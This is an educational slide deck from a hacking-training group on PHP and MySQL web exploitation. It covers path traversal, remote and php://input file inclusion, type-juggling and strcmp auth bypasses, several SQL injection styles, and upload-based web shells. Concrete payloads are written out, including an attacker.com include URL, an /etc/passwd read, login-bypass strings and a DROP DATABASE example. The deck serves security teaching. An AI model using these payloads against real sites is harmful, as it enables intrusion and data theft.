Web Exploitation

PHP and MySQL Edition

ZenHackAdemy

May 6, 2019

Visit us!

@Giotino

Not even trying

Trust based authentication

```
if ($_GET['authorized'] == 'true')
  show_secret_admin_area();
```

Cookie poisoning

```
if ($_COOKIE['username'] == 'admin')
  show_secret_admin_area();
```

Path Traversal (LFI)

Regular file access

http://example.com/?page=main.php

```
include('pages/' . $_GET['page']);
```

Out of scope file access

http://example.com/?page=../../../../etc/passwd

```
include('pages/../../../../etc/passwd');
```

LFI remote code execution

Less secure website

http://example.com/?page=main.php

```
include($_GET['page']);
```

With PHP configuration − > allow_url_include=On

Code execution

http://example.com/?page=http://attacker.com/code.txt

```
include('http://attacker.com/code.txt');
```

We are telling the server to include and evaluate http://attacker.com/code.txt that contains malicious code

LFI arbitrary code execution

Event worse

http://example.com/?page=php://input

```
include('php://input');
```

We are telling the server to include and evaluate php://input, that's the body of the request. If we POST the website with some PHP code and that specific parameter we can execute arbitrary PHP code

LFI dump them all

Base64 dumping

http://example.com/?page=php://filter/convert.base64-encode/resource=index.php

```
include('php://filter/convert.base64-encode/resource=index.php');
```

Works without PHP configuration −> allow_url_include

We are telling the server to include and evaluate php://filter/convert.base64-encode/resource=filename.
The php filter "convert.base64-encode" read the file "filename" (even out of scope) and returns its content Base64 encoded.
Using this technique we can dump all kind of files entirely, including PHP ones which, being Base64 encoded, will not be executed.

Type Juggling

Identical Operator === (checks value and data type)

```
$a = 123;
$b = 123;
$a == $b;
// true
```

```
$a = "test";
$b = "test";
$a == $b;
// true
```

```
$a = NULL;
$b = 0;
$a === $b;
// false
```

```
$a = "1";
$b =  1 ;
$a === $b;
// false
```

Equality Operator == (checks only value)

```
$a = 123;
$b = 123;
$a == $b;
// true
```

```
$a = "test";
$b = "test";
$a == $b;
// true
```

```
$a = NULL;
$b = 0;
$a == $b;
// true
```

```
$a = "1";
$b =  1 ;
$a == $b;
// true
```

Type Juggling and Beyond

More

```
$a = '0a2b3c';
$b =  0      ;
$a == $b;
// true
```

```
$a = '0.1test';
$b =  0.1     ;
$a == $b;
// true
```

```
$a = '0e98765';
$b = '0e1'     ;
$a == $b;
// true
```

```
$a = ['test'];
$b = true     ;
$a == $b;
// true
```

What about strcmp(str1, str2)

"Returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal." - `https://www.php.net/manual/en/function.strcmp.php`
Sounds good, but what if an argument is not a string?

```
strcmp([], "test"); // NULL (and a warning)
strcmp([], "secretPassword") == 0; // true (and a warning)
```

A comparison between a string and an array is always a perfect match.
Also works with NULL, functions and classes

SQL Injection

A common query style

```
$username = $_GET['user'];
$query = "SELECT * FROM users WHERE username = '" . $username . "'";
$db->query($query);
```

A common query injection

' OR true -- -

http://example.com/?user=%27%20OR%20true%20--%20-

```
SELECT * FROM users WHERE username = '' OR true -- -'
```

SQL Injection

Sanitized

```
$id = $db->real_escape_string($_GET['id']);
$query = "SELECT * FROM users WHERE id = " . $id;
$db->query($query);
```

New query, new injection

0 OR true

http://example.com/?id=%200%20OR%20true

```
SELECT * FROM users WHERE id = 0 OR true
```

SQL Injection

Login bypass (easy)

```
$user = $_GET['user']; $pass = $_GET['pass'];
$query = "SELECT * FROM users WHERE
  username = '" . $user . "' AND password = MD5('" . $pass . "')";

$result = $db->query($query);
if($result->num_rows > 0) {
  $row = $result->fetch_assoc();
  echo("Welcome " . $row['username']);
}
```

We can alter the query to return a user without knowing the password.
') OR true LIMIT 0, 1 -- -

```
SELECT * FROM users WHERE
  username = '' AND password = MD5('') OR true LIMIT 0, 1 -- -');
```

SQL tricks

https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/

String HEX representation

```
'admin' = 0x61646D696E
```

In SQL strings can also be represented in hexadecimal notation
That's useful to insert strings in a payload sanitized by real_escape_string

Query stacking

```
SELECT * FROM users; DROP DATABASE db;
```

Modern SQL drivers do not permit different type of query to be stacked (e.g. SELECT...; UPDATE ...;)

SQL Injection

Now what?

```
$username = $_GET['user'];
$query = "SELECT * FROM users WHERE username = '" . $username . "'";

if(!$result = $db->query($query))
  die($db->error);
```

Error based SQLi

In this case we use the XML parser included with MySQL. When it finds and error it returns part of the code it was parsing. We can have it parsing a result of a select making it leak the result. (Query must output only one column and one row)

```
SELECT extractvalue(rand(),concat(0x3A,(
  SELECT username FROM users LIMIT 0,1
)))
```

SQL Injection

No errors?

```
$username = $_GET['user'];
$query = "SELECT * FROM users WHERE username = '" . $username . "'";
$result = $db->query($query);

$row = $result->fetch_assoc();
echo($row["id"] .'|'.  $row["username"] .'|'. $row["email"]);
```

Union based SQLi

We use the mask on the website (the echo in our PHP) to show data from the database

```
UNION SELECT username, password AS email, 0 FROM admins
```

```
SELECT * FROM users WHERE username = ''
  UNION SELECT username, password AS email, 0 FROM admins -- -'
```

Number of columns must match the first SELECT (in this case 3)

SQL Injection

No mask?

```
$username = $_GET['user'];
$query = "SELECT * FROM users WHERE username = '" . $username . "'";
$result = $db->query($query);

if ($result->num_rows > 0)
  echo("Logged in");
```

Boolean Based Blind SQLi

We issue boolean SQL queries and check for the "Logged in" output
Using MySQL functions as LENGTH and MID we can reduce the amount of requests to retrieve information

SQL Injection

No output?

```
$id = $_GET['id'];
$query = "UPDATE users SET name = 'John' WHERE id = " . $id;
$db->query($query);
```

Time Based Blind SQLi

We issue SQL queries containing SLEEP function and treat the response time as a boolean output

```
UPDATE users SET name = 'John' WHERE id = -1;
  IF(MID(VERSION(),1,1) = '5', SLEEP(10), 0);
-- Sleep 10 seconds if MySQL version is 5
```

SQL Injection

How to prevent?

Prepared Statements

```
$stmt = $db->prepare("SELECT * FROM users WHERE id=? AND username=?");
$stmt->bind("i", $id);
$stmt->bind("s", $username);
$stmt->execute();
```

How it works?

Query and parameters (data) are not assembled on the client. When the query reaches the database it's compiled by the SQL engine and subsequently the data is replaced. In this way parameters cannot alter the structure of the query

SQL tricks

Reading files

```
SELECT load_file('/etc/passwd')
```

Writing files

```
SELECT 'Content to Write' INTO OUTFILE '/tmp/test.txt'
```

Upload Exploitation

PHP upload is easy

```
$dstfile = 'uploads/' . basename($_FILES['file']['name']);
$success = move_uploaded_file($_FILES['file']['tmp_name'], $dstfile);
```

Easy to exploit

Simply upload a PHP file and enjoy

http://example.com/uploads/shell.php

Upload Exploitation

Check file integrity

```php
$dstfile = 'uploads/' . basename($_FILES['file']['name']);

$isImage = getimagesize($_FILES["file"]["tmp_name"]);

if ($isImage !== false) // If it can be parsed as image
  move_uploaded_file($_FILES['file']['tmp_name'], $dstfile);
```

Give the server what it wants

PNGs come to help. We can have whatever data we want after the image in its file
We can upload |image + PHP payload|.php files to the server

Upload Exploitation

Filter extensions

```
$dstfile = 'uploads/' . basename($_FILES['file']['name']);
$extension = strtolower(pathinfo($dstfile, PATHINFO_EXTENSION));

$enExtensions = array("jpeg","jpg","png","gif");

if (in_array($extension, $enExtensions)) // If the extension is OK
  move_uploaded_file($_FILES['file']['tmp_name'], $dstfile);
```

No exploit for us...

The uploaded code cannot be directly executed because the file extension is not handled by the PHP engine
But we can include the file with an LFI and our code will be executed